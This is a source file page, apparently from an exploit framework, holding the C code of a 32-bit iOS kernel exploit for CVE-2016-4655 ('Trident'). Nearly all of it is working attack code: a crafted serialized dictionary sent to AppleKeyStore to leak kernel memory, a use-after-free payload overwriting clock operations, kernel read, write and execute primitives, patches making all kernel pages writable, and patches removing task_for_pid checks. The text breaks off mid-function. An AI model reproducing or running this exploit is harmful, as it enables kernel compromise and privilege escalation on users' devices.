Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/exploit32.c
Views: 11780
//1// exploit.c2// Trident3//4// Created by Benjamin Randazzo on 06/11/2016.5// Copyright © 2016 Benjamin Randazzo. All rights reserved.6//78#include <stdio.h>9#include <stdlib.h>10#include <unistd.h>11#include <string.h>12#include <assert.h>1314#include <pthread.h>1516#include <sys/syscall.h>17#include <sys/kauth.h>18#include <sys/stat.h>1920#include <sys/socket.h>21#include <netinet/in.h>22#include <arpa/inet.h>2324#include <sys/utsname.h>2526#include <mach/mach.h>2728#include <IOKit/IOKitLib.h>2930#include <dlfcn.h>31#include <asl.h>3233#include <spawn.h>3435enum36{37kOSSerializeDictionary = 0x01000000U,38kOSSerializeArray = 0x02000000U,39kOSSerializeSet = 0x03000000U,40kOSSerializeNumber = 0x04000000U,41kOSSerializeSymbol = 0x08000000U,42kOSSerializeString = 0x09000000U,43kOSSerializeData = 0x0a000000U,44kOSSerializeBoolean = 0x0b000000U,45kOSSerializeObject = 0x0c000000U,46kOSSerializeTypeMask = 0x7F000000U,47kOSSerializeDataMask = 0x00FFFFFFU,48kOSSerializeEndCollecton = 0x80000000U,49};5051#define kOSSerializeBinarySignature "\323\0\0"5253#define WRITE_IN(buf, data) do { *(uint32_t *)(buf+bufpos) = (data); bufpos+=4; } while(0)5455typedef void* (*dlopen_ptr)(const char *filename, int flags);56typedef void* (*dlsym_ptr)(void *handle, const char *symbol);57static dlopen_ptr dlopen_func = 0;58static dlsym_ptr dlsym_func = 0;5960#ifdef DEBUG61#define debug_print(fmt, ...) \62do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)63#else64#define debug_print(fmt, ...)65#endif6667#define DLSYM_FUNC(func, library, return_type, args...) \68typedef return_type (*func##_ptr)(args); \69func##_ptr func##_func = dlsym_func(library, #func); \70debug_print("function %s = %p!\n", #func, func##_func);7172#define TTB_SIZE 40967374#define L1_SECT_S_BIT (1 << 16)75#define L1_SECT_PROTO (1 << 1) /* 0b10 */76#define L1_SECT_AP_URW (1 << 10) | (1 << 11)77#define L1_SECT_APX (1 << 15)78#define L1_SECT_DEFPROT (L1_SECT_AP_URW | L1_SECT_APX)79#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */80#define L1_SECT_DEFCACHE (L1_SECT_SORDER)81#define L1_PROTO_TTE(entry) (entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)8283#define L1_PAGE_PROTO (1 << 0)84#define L1_COARSE_PT (0xFFFFFC00)8586#define PT_SIZE 2568788#define L2_PAGE_APX (1 << 9)8990static char *lockfile;91static int fd;9293static int fildes[2];94static uint32_t cpipe;95static uint32_t pipebuf;9697static clock_serv_t clk_battery;98static clock_serv_t clk_realtime;99100struct mac_policy_ops{101uint32_t mpo_audit_check_postselect;102uint32_t mpo_audit_check_preselect;103uint32_t mpo_bpfdesc_label_associate;104uint32_t mpo_bpfdesc_label_destroy;105uint32_t mpo_bpfdesc_label_init;106uint32_t mpo_bpfdesc_check_receive;107uint32_t mpo_cred_check_label_update_execve;108uint32_t mpo_cred_check_label_update;109uint32_t mpo_cred_check_visible;110uint32_t mpo_cred_label_associate_fork;111uint32_t mpo_cred_label_associate_kernel;112uint32_t mpo_cred_label_associate;113uint32_t mpo_cred_label_associate_user;114uint32_t mpo_cred_label_destroy;115uint32_t mpo_cred_label_externalize_audit;116uint32_t mpo_cred_label_externalize;117uint32_t mpo_cred_label_init;118uint32_t mpo_cred_label_internalize;119uint32_t mpo_cred_label_update_execve;120uint32_t mpo_cred_label_update;121uint32_t mpo_devfs_label_associate_device;122uint32_t mpo_devfs_label_associate_directory;123uint32_t mpo_devfs_label_copy;124uint32_t mpo_devfs_label_destroy;125uint32_t mpo_devfs_label_init;126uint32_t mpo_devfs_label_update;127uint32_t mpo_file_check_change_offset;128uint32_t mpo_file_check_create;129uint32_t mpo_file_check_dup;130uint32_t mpo_file_check_fcntl;131uint32_t mpo_file_check_get_offset;132uint32_t mpo_file_check_get;133uint32_t mpo_file_check_inherit;134uint32_t mpo_file_check_ioctl;135uint32_t mpo_file_check_lock;136uint32_t mpo_file_check_mmap_downgrade;137uint32_t mpo_file_check_mmap;138uint32_t mpo_file_check_receive;139uint32_t mpo_file_check_set;140uint32_t mpo_file_label_init;141uint32_t mpo_file_label_destroy;142uint32_t mpo_file_label_associate;143uint32_t mpo_ifnet_check_label_update;144uint32_t mpo_ifnet_check_transmit;145uint32_t mpo_ifnet_label_associate;146uint32_t mpo_ifnet_label_copy;147uint32_t mpo_ifnet_label_destroy;148uint32_t mpo_ifnet_label_externalize;149uint32_t mpo_ifnet_label_init;150uint32_t mpo_ifnet_label_internalize;151uint32_t mpo_ifnet_label_update;152uint32_t mpo_ifnet_label_recycle;153uint32_t mpo_inpcb_check_deliver;154uint32_t mpo_inpcb_label_associate;155uint32_t mpo_inpcb_label_destroy;156uint32_t mpo_inpcb_label_init;157uint32_t mpo_inpcb_label_recycle;158uint32_t mpo_inpcb_label_update;159uint32_t mpo_iokit_check_device;160uint32_t mpo_ipq_label_associate;161uint32_t mpo_ipq_label_compare;162uint32_t mpo_ipq_label_destroy;163uint32_t mpo_ipq_label_init;164uint32_t mpo_ipq_label_update;165uint32_t mpo_file_check_library_validation;166uint32_t mpo_vnode_notify_setacl;167uint32_t mpo_vnode_notify_setattrlist;168uint32_t mpo_vnode_notify_setextattr;169uint32_t mpo_vnode_notify_setflags;170uint32_t mpo_vnode_notify_setmode;171uint32_t mpo_vnode_notify_setowner;172uint32_t mpo_vnode_notify_setutimes;173uint32_t mpo_vnode_notify_truncate;174uint32_t mpo_mbuf_label_associate_bpfdesc;175uint32_t mpo_mbuf_label_associate_ifnet;176uint32_t mpo_mbuf_label_associate_inpcb;177uint32_t mpo_mbuf_label_associate_ipq;178uint32_t mpo_mbuf_label_associate_linklayer;179uint32_t mpo_mbuf_label_associate_multicast_encap;180uint32_t mpo_mbuf_label_associate_netlayer;181uint32_t mpo_mbuf_label_associate_socket;182uint32_t mpo_mbuf_label_copy;183uint32_t mpo_mbuf_label_destroy;184uint32_t mpo_mbuf_label_init;185uint32_t mpo_mount_check_fsctl;186uint32_t mpo_mount_check_getattr;187uint32_t mpo_mount_check_label_update;188uint32_t mpo_mount_check_mount;189uint32_t mpo_mount_check_remount;190uint32_t mpo_mount_check_setattr;191uint32_t mpo_mount_check_stat;192uint32_t mpo_mount_check_umount;193uint32_t mpo_mount_label_associate;194uint32_t mpo_mount_label_destroy;195uint32_t mpo_mount_label_externalize;196uint32_t mpo_mount_label_init;197uint32_t mpo_mount_label_internalize;198uint32_t mpo_netinet_fragment;199uint32_t mpo_netinet_icmp_reply;200uint32_t mpo_netinet_tcp_reply;201uint32_t mpo_pipe_check_ioctl;202uint32_t mpo_pipe_check_kqfilter;203uint32_t mpo_pipe_check_label_update;204uint32_t mpo_pipe_check_read;205uint32_t mpo_pipe_check_select;206uint32_t mpo_pipe_check_stat;207uint32_t mpo_pipe_check_write;208uint32_t mpo_pipe_label_associate;209uint32_t mpo_pipe_label_copy;210uint32_t mpo_pipe_label_destroy;211uint32_t mpo_pipe_label_externalize;212uint32_t mpo_pipe_label_init;213uint32_t mpo_pipe_label_internalize;214uint32_t mpo_pipe_label_update;215uint32_t mpo_policy_destroy;216uint32_t mpo_policy_init;217uint32_t mpo_policy_initbsd;218uint32_t mpo_policy_syscall;219uint32_t mpo_system_check_sysctlbyname;220uint32_t mpo_proc_check_inherit_ipc_ports;221uint32_t mpo_vnode_check_rename;222uint32_t mpo_kext_check_query;223uint32_t mpo_iokit_check_nvram_get;224uint32_t mpo_iokit_check_nvram_set;225uint32_t mpo_iokit_check_nvram_delete;226uint32_t mpo_proc_check_expose_task;227uint32_t mpo_proc_check_set_host_special_port;228uint32_t mpo_proc_check_set_host_exception_port;229uint32_t mpo_exc_action_check_exception_send;230uint32_t mpo_exc_action_label_associate;231uint32_t mpo_exc_action_label_populate;232uint32_t mpo_exc_action_label_destroy;233uint32_t mpo_exc_action_label_init;234uint32_t mpo_exc_action_label_update;235uint32_t mpo_reserved1;236uint32_t mpo_reserved2;237uint32_t mpo_reserved3;238uint32_t mpo_reserved4;239uint32_t mpo_skywalk_flow_check_connect;240uint32_t mpo_skywalk_flow_check_listen;241uint32_t mpo_posixsem_check_create;242uint32_t mpo_posixsem_check_open;243uint32_t mpo_posixsem_check_post;244uint32_t mpo_posixsem_check_unlink;245uint32_t mpo_posixsem_check_wait;246uint32_t mpo_posixsem_label_associate;247uint32_t mpo_posixsem_label_destroy;248uint32_t mpo_posixsem_label_init;249uint32_t mpo_posixshm_check_create;250uint32_t mpo_posixshm_check_mmap;251uint32_t mpo_posixshm_check_open;252uint32_t mpo_posixshm_check_stat;253uint32_t mpo_posixshm_check_truncate;254uint32_t mpo_posixshm_check_unlink;255uint32_t mpo_posixshm_label_associate;256uint32_t mpo_posixshm_label_destroy;257uint32_t mpo_posixshm_label_init;258uint32_t mpo_proc_check_debug;259uint32_t mpo_proc_check_fork;260uint32_t mpo_proc_check_get_task_name;261uint32_t mpo_proc_check_get_task;262uint32_t mpo_proc_check_getaudit;263uint32_t mpo_proc_check_getauid;264uint32_t mpo_proc_check_getlcid;265uint32_t mpo_proc_check_mprotect;266uint32_t mpo_proc_check_sched;267uint32_t mpo_proc_check_setaudit;268uint32_t mpo_proc_check_setauid;269uint32_t mpo_proc_check_setlcid;270uint32_t mpo_proc_check_signal;271uint32_t mpo_proc_check_wait;272uint32_t mpo_proc_label_destroy;273uint32_t mpo_proc_label_init;274uint32_t mpo_socket_check_accept;275uint32_t mpo_socket_check_accepted;276uint32_t mpo_socket_check_bind;277uint32_t mpo_socket_check_connect;278uint32_t mpo_socket_check_create;279uint32_t mpo_socket_check_deliver;280uint32_t mpo_socket_check_kqfilter;281uint32_t mpo_socket_check_label_update;282uint32_t mpo_socket_check_listen;283uint32_t mpo_socket_check_receive;284uint32_t mpo_socket_check_received;285uint32_t mpo_socket_check_select;286uint32_t mpo_socket_check_send;287uint32_t mpo_socket_check_stat;288uint32_t mpo_socket_check_setsockopt;289uint32_t mpo_socket_check_getsockopt;290uint32_t mpo_socket_label_associate_accept;291uint32_t mpo_socket_label_associate;292uint32_t mpo_socket_label_copy;293uint32_t mpo_socket_label_destroy;294uint32_t mpo_socket_label_externalize;295uint32_t mpo_socket_label_init;296uint32_t mpo_socket_label_internalize;297uint32_t mpo_socket_label_update;298uint32_t mpo_socketpeer_label_associate_mbuf;299uint32_t mpo_socketpeer_label_associate_socket;300uint32_t mpo_socketpeer_label_destroy;301uint32_t mpo_socketpeer_label_externalize;302uint32_t mpo_socketpeer_label_init;303uint32_t mpo_system_check_acct;304uint32_t mpo_system_check_audit;305uint32_t mpo_system_check_auditctl;306uint32_t mpo_system_check_auditon;307uint32_t mpo_system_check_host_priv;308uint32_t mpo_system_check_nfsd;309uint32_t mpo_system_check_reboot;310uint32_t mpo_system_check_settime;311uint32_t mpo_system_check_swapoff;312uint32_t mpo_system_check_swapon;313uint32_t mpo_socket_check_ioctl;314uint32_t mpo_sysvmsg_label_associate;315uint32_t mpo_sysvmsg_label_destroy;316uint32_t mpo_sysvmsg_label_init;317uint32_t mpo_sysvmsg_label_recycle;318uint32_t mpo_sysvmsq_check_enqueue;319uint32_t mpo_sysvmsq_check_msgrcv;320uint32_t mpo_sysvmsq_check_msgrmid;321uint32_t mpo_sysvmsq_check_msqctl;322uint32_t mpo_sysvmsq_check_msqget;323uint32_t mpo_sysvmsq_check_msqrcv;324uint32_t mpo_sysvmsq_check_msqsnd;325uint32_t mpo_sysvmsq_label_associate;326uint32_t mpo_sysvmsq_label_destroy;327uint32_t mpo_sysvmsq_label_init;328uint32_t mpo_sysvmsq_label_recycle;329uint32_t mpo_sysvsem_check_semctl;330uint32_t mpo_sysvsem_check_semget;331uint32_t mpo_sysvsem_check_semop;332uint32_t mpo_sysvsem_label_associate;333uint32_t mpo_sysvsem_label_destroy;334uint32_t mpo_sysvsem_label_init;335uint32_t mpo_sysvsem_label_recycle;336uint32_t mpo_sysvshm_check_shmat;337uint32_t mpo_sysvshm_check_shmctl;338uint32_t mpo_sysvshm_check_shmdt;339uint32_t mpo_sysvshm_check_shmget;340uint32_t mpo_sysvshm_label_associate;341uint32_t mpo_sysvshm_label_destroy;342uint32_t mpo_sysvshm_label_init;343uint32_t mpo_sysvshm_label_recycle;344uint32_t mpo_proc_notify_exit;345uint32_t mpo_mount_check_snapshot_revert;346uint32_t mpo_vnode_check_getattr;347uint32_t mpo_mount_check_snapshot_create;348uint32_t mpo_mount_check_snapshot_delete;349uint32_t mpo_vnode_check_clone;350uint32_t mpo_proc_check_get_cs_info;351uint32_t mpo_proc_check_set_cs_info;352uint32_t mpo_iokit_check_hid_control;353uint32_t mpo_vnode_check_access;354uint32_t mpo_vnode_check_chdir;355uint32_t mpo_vnode_check_chroot;356uint32_t mpo_vnode_check_create;357uint32_t mpo_vnode_check_deleteextattr;358uint32_t mpo_vnode_check_exchangedata;359uint32_t mpo_vnode_check_exec;360uint32_t mpo_vnode_check_getattrlist;361uint32_t mpo_vnode_check_getextattr;362uint32_t mpo_vnode_check_ioctl;363uint32_t mpo_vnode_check_kqfilter;364uint32_t mpo_vnode_check_label_update;365uint32_t mpo_vnode_check_link;366uint32_t mpo_vnode_check_listextattr;367uint32_t mpo_vnode_check_lookup;368uint32_t mpo_vnode_check_open;369uint32_t mpo_vnode_check_read;370uint32_t mpo_vnode_check_readdir;371uint32_t mpo_vnode_check_readlink;372uint32_t mpo_vnode_check_rename_from;373uint32_t mpo_vnode_check_rename_to;374uint32_t mpo_vnode_check_revoke;375uint32_t mpo_vnode_check_select;376uint32_t mpo_vnode_check_setattrlist;377uint32_t mpo_vnode_check_setextattr;378uint32_t mpo_vnode_check_setflags;379uint32_t mpo_vnode_check_setmode;380uint32_t mpo_vnode_check_setowner;381uint32_t mpo_vnode_check_setutimes;382uint32_t mpo_vnode_check_stat;383uint32_t mpo_vnode_check_truncate;384uint32_t mpo_vnode_check_unlink;385uint32_t mpo_vnode_check_write;386uint32_t mpo_vnode_label_associate_devfs;387uint32_t mpo_vnode_label_associate_extattr;388uint32_t mpo_vnode_label_associate_file;389uint32_t mpo_vnode_label_associate_pipe;390uint32_t mpo_vnode_label_associate_posixsem;391uint32_t mpo_vnode_label_associate_posixshm;392uint32_t mpo_vnode_label_associate_singlelabel;393uint32_t mpo_vnode_label_associate_socket;394uint32_t mpo_vnode_label_copy;395uint32_t mpo_vnode_label_destroy;396uint32_t mpo_vnode_label_externalize_audit;397uint32_t mpo_vnode_label_externalize;398uint32_t mpo_vnode_label_init;399uint32_t mpo_vnode_label_internalize;400uint32_t mpo_vnode_label_recycle;401uint32_t mpo_vnode_label_store;402uint32_t mpo_vnode_label_update_extattr;403uint32_t mpo_vnode_label_update;404uint32_t mpo_vnode_notify_create;405uint32_t mpo_vnode_check_signature;406uint32_t mpo_vnode_check_uipc_bind;407uint32_t mpo_vnode_check_uipc_connect;408uint32_t mpo_proc_check_run_cs_invalid;409uint32_t mpo_proc_check_suspend_resume;410uint32_t mpo_thread_userret;411uint32_t mpo_iokit_check_set_properties;412uint32_t mpo_system_check_chud;413uint32_t mpo_vnode_check_searchfs;414uint32_t mpo_priv_check;415uint32_t mpo_priv_grant;416uint32_t mpo_proc_check_map_anon;417uint32_t mpo_vnode_check_fsgetpath;418uint32_t mpo_iokit_check_open;419uint32_t mpo_proc_check_ledger;420uint32_t mpo_vnode_notify_rename;421uint32_t mpo_vnode_check_setacl;422uint32_t mpo_vnode_notify_deleteextattr;423uint32_t mpo_system_check_kas_info;424uint32_t mpo_vnode_check_lookup_preflight;425uint32_t mpo_vnode_notify_open;426uint32_t mpo_system_check_info;427uint32_t mpo_pty_notify_grant;428uint32_t mpo_pty_notify_close;429uint32_t mpo_vnode_find_sigs;430uint32_t mpo_kext_check_load;431uint32_t mpo_kext_check_unload;432uint32_t mpo_proc_check_proc_info;433uint32_t mpo_vnode_notify_link;434uint32_t mpo_iokit_check_filter_properties;435uint32_t mpo_iokit_check_get_property;436};437438#include "offsets32.c"439440static unsigned char clock_ops_overwrite[] = {4410x00, 0x00, 0x00, 0x00, // [00] (rtclock.getattr): address of OSSerializer::serialize (+1)4420x00, 0x00, 0x00, 0x00, // [04] (calend_config): NULL4430x00, 0x00, 0x00, 0x00, // [08] (calend_init): NULL4440x00, 0x00, 0x00, 0x00, // [0C] (calend_gettime): address of calend_gettime (+1)4450x00, 0x00, 0x00, 0x00, // [10] (calend_getattr): address of _bufattr_cpx (+1)446};447448static unsigned char uaf_payload_buffer[] = {4490x00, 0x00, 0x00, 0x00, // [00] ptr to clock_ops_overwrite buffer4500x00, 0x00, 0x00, 0x00, // [04] address of clock_ops array in kern memory4510x00, 0x00, 0x00, 0x00, // [08] address of _copyin4520x00, 0x00, 0x00, 0x00, // [0C] NULL4530x00, 0x00, 0x00, 0x00, // [10] address of OSSerializer::serialize (+1)4540x00, 0x00, 0x00, 0x00, // [14] address of "BX LR" code fragment4550x00, 0x00, 0x00, 0x00, // [18] NULL4560x00, 0x00, 0x00, 0x00, // [1C] address of OSSymbol::getMetaClass (+1)4570x00, 0x00, 0x00, 0x00, // [20] address of "BX LR" code fragment4580x00, 0x00, 0x00, 0x00, // [24] address of "BX LR" code fragment459};460461static unsigned char pExploit[128];462463#define PAYLOAD_TO_PEXPLOIT (-76)464#define PEXPLOIT_TO_UAF_PAYLOAD 8465466static vm_offset_t vm_kernel_addrperm;467468static uint32_t write_gadget; // address of "str r1, [r0, #0xc] ; bx lr"469470typedef kern_return_t (*clock_get_attributes_ptr)(clock_t clock_name, clock_flavor_t flavor, clock_attr_t attribute, mach_msg_type_number_t attribute_count);471static clock_get_attributes_ptr clock_get_attributes_func;472473typedef ssize_t (*read_ptr)(int fd, void *buf, size_t count);474static read_ptr read_func;475476typedef ssize_t (*write_ptr)(int fd, const void *buf, size_t count);477static write_ptr write_func;478479void *insert_payload(void *ptr)480{481void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);482483#ifdef DEBUG484typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);485asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");486#endif487488typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);489memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");490491void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);492493typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);494IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");495496typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);497IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");498499typedef mach_port_t (*mach_task_self_ptr)();500mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");501502typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);503io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");504505typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);506IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");507508typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);509IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");510511typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);512IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");513514typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);515IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");516517char stackAnchor;518uint32_t bufpos; // unsigned int size;519char buffer[4096];520int v26;521mach_port_t connection;522kern_return_t result;523524char *p = (char *)((unsigned int)&stackAnchor & 0xFFFFF000);525// kauth_filesec.fsec_magic526*(uint32_t *)(p + 0xEC0) = 0x12CC16D;527// kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL528*(uint32_t *)(p + 0xEE4) = -1;529// kauth_filesec.fsec_acl.acl_ace[...]530memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);531532memcpy_func(buffer, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));533bufpos = sizeof(kOSSerializeBinarySignature);534535WRITE_IN(buffer, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);536537WRITE_IN(buffer, kOSSerializeSymbol | 128);538// "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara"539for (v26=0; v26<124; v26+=4) {540WRITE_IN(buffer, 0x72617261);541}542WRITE_IN(buffer, 0x00617261);543WRITE_IN(buffer, kOSSerializeNumber | 2048);544WRITE_IN(buffer, 0x00000004);545WRITE_IN(buffer, 0X00000000);546547WRITE_IN(buffer, kOSSerializeSymbol | 30);548WRITE_IN(buffer, 0x4b444948); // "HIDKeyboardModifierMappingDst"549WRITE_IN(buffer, 0x6f627965);550WRITE_IN(buffer, 0x4d647261);551WRITE_IN(buffer, 0x6669646f);552WRITE_IN(buffer, 0x4d726569);553WRITE_IN(buffer, 0x69707061);554WRITE_IN(buffer, 0x7344676e);555WRITE_IN(buffer, 0x00000074);556WRITE_IN(buffer, kOSSerializeNumber | kOSSerializeEndCollecton | 32);557WRITE_IN(buffer, 0x00000193);558WRITE_IN(buffer, 0x00000000);559560io_service_t service = IOServiceGetMatchingService_func(0, IOServiceMatching_func("AppleKeyStore"));561562NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");563io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, buffer, bufpos, &result, &connection);564if (result != KERN_SUCCESS) {565debug_print("%s\n", "io_service_open_extended fail");566return NULL;567}568569io_object_t object = 0;570uint32_t size = sizeof(buffer);571io_iterator_t iterator;572IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);573uint32_t *args = (uint32_t *)ptr;574uint32_t kernel_base = *args;575uint32_t payload_ptr = 0;576577do {578if (object) {579IOObjectRelease_func(object);580}581object = IOIteratorNext_func(iterator);582} while (IORegistryEntryGetProperty_func(object, "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara", buffer, &size));583584if (size > 8) {585payload_ptr = *(uint32_t *)(buffer+16);586}587588*(uint32_t *)clock_ops_overwrite = kernel_base + find_OSSerializer_serialize() + 1;589*(uint32_t *)(clock_ops_overwrite+0xC) = kernel_base + find_calend_gettime() + 1;590*(uint32_t *)(clock_ops_overwrite+0x10) = kernel_base + find_bufattr_cpx() + 1;591592*(uint32_t *)uaf_payload_buffer = (uint32_t)clock_ops_overwrite;593*(uint32_t *)(uaf_payload_buffer+0x4) = kernel_base + find_clock_ops();594*(uint32_t *)(uaf_payload_buffer+0x8) = kernel_base + find_copyin();595*(uint32_t *)(uaf_payload_buffer+0x10) = kernel_base + find_OSSerializer_serialize() + 1;596*(uint32_t *)(uaf_payload_buffer+0x14) = kernel_base + find_bx_lr();597*(uint32_t *)(uaf_payload_buffer+0x1C) = kernel_base + find_OSSymbol_getMetaClass() + 1;598*(uint32_t *)(uaf_payload_buffer+0x20) = kernel_base + find_bx_lr();599*(uint32_t *)(uaf_payload_buffer+0x24) = kernel_base + find_bx_lr();600601memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD, uaf_payload_buffer, sizeof(uaf_payload_buffer));602memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD+sizeof(uaf_payload_buffer), clock_ops_overwrite, sizeof(clock_ops_overwrite));603604// kauth_filesec.fsec_acl.acl_ace[...]605memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);606607*(uint32_t *)(args[1]) = payload_ptr;608609asm_syscall(SYS_open_extended, (long)lockfile, O_WRONLY | O_EXLOCK, KAUTH_UID_NONE, KAUTH_GID_NONE, 0644, (long)(p + 0xEC0));610return NULL;611612}613614615uint32_t read_primitive(uint32_t addr) {616int attr;617unsigned int attrCnt;618619return clock_get_attributes_func(clk_battery, addr, &attr, (mach_msg_type_number_t)&attrCnt);620}621622void exec_primitive(uint32_t fct, uint32_t arg1, uint32_t arg2) {623int attr;624unsigned int attrCnt;625char data[64];626627write_func(fildes[1], "AAAABBBB", 8);628write_func(fildes[1], &arg1, 4);629write_func(fildes[1], &arg2, 4);630write_func(fildes[1], &fct, 4);631clock_get_attributes_func(clk_realtime, pipebuf, &attr, (mach_msg_type_number_t)&attrCnt);632633read_func(fildes[0], data, 64);634}635636void write_primitive(uint32_t addr, uint32_t value) {637addr -= 0xc;638exec_primitive(write_gadget, addr, value);639}640641void patch_kernel_pmap(uint32_t kernel_base) {642uint32_t kernel_pmap = find_kernel_pmap() + kernel_base;643uint32_t kernel_pmap_store = read_primitive(kernel_pmap);644uint32_t tte_virt = read_primitive(kernel_pmap_store);645uint32_t tte_phys = read_primitive(kernel_pmap_store+4);646647/*printf("kernel pmap store @ 0x%08x\n", kernel_pmap_store);*/648/*printf("kernel pmap tte is at VA 0x%08x PA 0x%08x\n", tte_virt, tte_phys);*/649650/* every page is writable */651uint32_t i;652uint32_t j;653for (i=0; i<TTB_SIZE; i++) {654uint32_t addr = tte_virt+(i<<2);655uint32_t entry = read_primitive(addr);656if ((entry & L1_PAGE_PROTO) == L1_PAGE_PROTO) {657uint32_t page_entry = ((entry & L1_COARSE_PT) - tte_phys) + tte_virt;658for (j=0; j<PT_SIZE; j++) {659uint32_t addr2 = page_entry+(j<<2);660uint32_t entry2 = read_primitive(addr2);661if (entry2) {662uint32_t new_entry2 = (entry2 & (~L2_PAGE_APX));663write_primitive(addr2, new_entry2);664}665}666} else if ((entry & L1_SECT_PROTO) == L1_SECT_PROTO) {667uint32_t new_entry = L1_PROTO_TTE(entry);668new_entry &= ~L1_SECT_APX;669write_primitive(addr, new_entry);670}671}672673uint32_t flush_dcache = find_flush_dcache() + kernel_base;674exec_primitive(flush_dcache, 0, 0);675676uint32_t invalidate_tlb = find_invalidate_tlb() + kernel_base;677exec_primitive(invalidate_tlb, 0, 0);678}679680void patch_task_for_pid(uint32_t kernel_base) {681uint32_t task_for_pid_base = find_task_for_pid() + kernel_base;682683uint32_t pid_check_addr = find_pid_check() + task_for_pid_base;684write_primitive(pid_check_addr, read_primitive(pid_check_addr) + 0xff); // cmp r6, #ff685686uint32_t posix_check_ret_addr = find_posix_check() + task_for_pid_base;687write_primitive(posix_check_ret_addr, read_primitive(posix_check_ret_addr) + 0xff); // cmp r0, #ff688689uint32_t mac_proc_check_ret_addr = find_mac_proc_check() + task_for_pid_base;690write_primitive(mac_proc_check_ret_addr, read_primitive(mac_proc_check_ret_addr) | 0x10000); // cmp.w r8, #1691}692693// from patchfinder.c694static int insn_is_32bit(uint16_t * i)695{696return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0;697}698699static uint32_t bit_range(uint32_t x, int start, int end)700{701x = (x << (31 - start)) >> (31 - start);702x = (x >> end);703return x;704}705706static uint32_t decode_immed(uint32_t instruction)707{708uint32_t immed16 = 0;709immed16 |= bit_range(instruction, 24, 16) << 0;710immed16 |= bit_range(instruction, 5, 0) << 12;711immed16 |= bit_range(instruction, 10, 10) << 11;712immed16 |= bit_range(instruction, 31, 28) << 8;713return immed16;714}715716static unsigned char *717boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,718const unsigned char* needle, size_t nlen)719{720size_t last, scan = 0;721size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:722* bad character shift */723724/* Sanity checks on the parameters */725if (nlen <= 0 || !haystack || !needle)726return NULL;727728/* ---- Preprocess ---- */729/* Initialize the table to default value */730/* When a character is encountered that does not occur731* in the needle, we can safely skip ahead for the whole732* length of the needle.733*/734for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)735bad_char_skip[scan] = nlen;736737/* C arrays have the first byte at [0], therefore:738* [nlen - 1] is the last byte of the array. */739last = nlen - 1;740741/* Then populate it with the analysis of the needle */742for (scan = 0; scan < last; scan = scan + 1)743bad_char_skip[needle[scan]] = last - scan;744745/* ---- Do the matching ---- */746747/* Search the haystack, while the needle can still be within it. */748while (hlen >= nlen)749{750/* scan from the end of the needle */751for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)752if (scan == 0) /* If the first byte matches, we've found it. */753return (void *)haystack;754755/* otherwise, we need to skip some bytes and start again.756Note that here we are getting the skip value based on the last byte757of needle, no matter where we didn't match. So if needle is: "abcd"758then we are skipping based on 'd' and that value will be 4, and759for "abcdd" we again skip on 'd' but the value will be only 1.760The alternative of pretending that the mismatched character was761the last character is slower in the normal case (E.g. finding762"abcd" in "...azcd..." gives 4 by using 'd' but only7634-2==2 using 'z'. */764hlen -= bad_char_skip[haystack[last]];765haystack += bad_char_skip[haystack[last]];766}767768return NULL;769}770771void init_exploit(void * dlsym_addr, void * 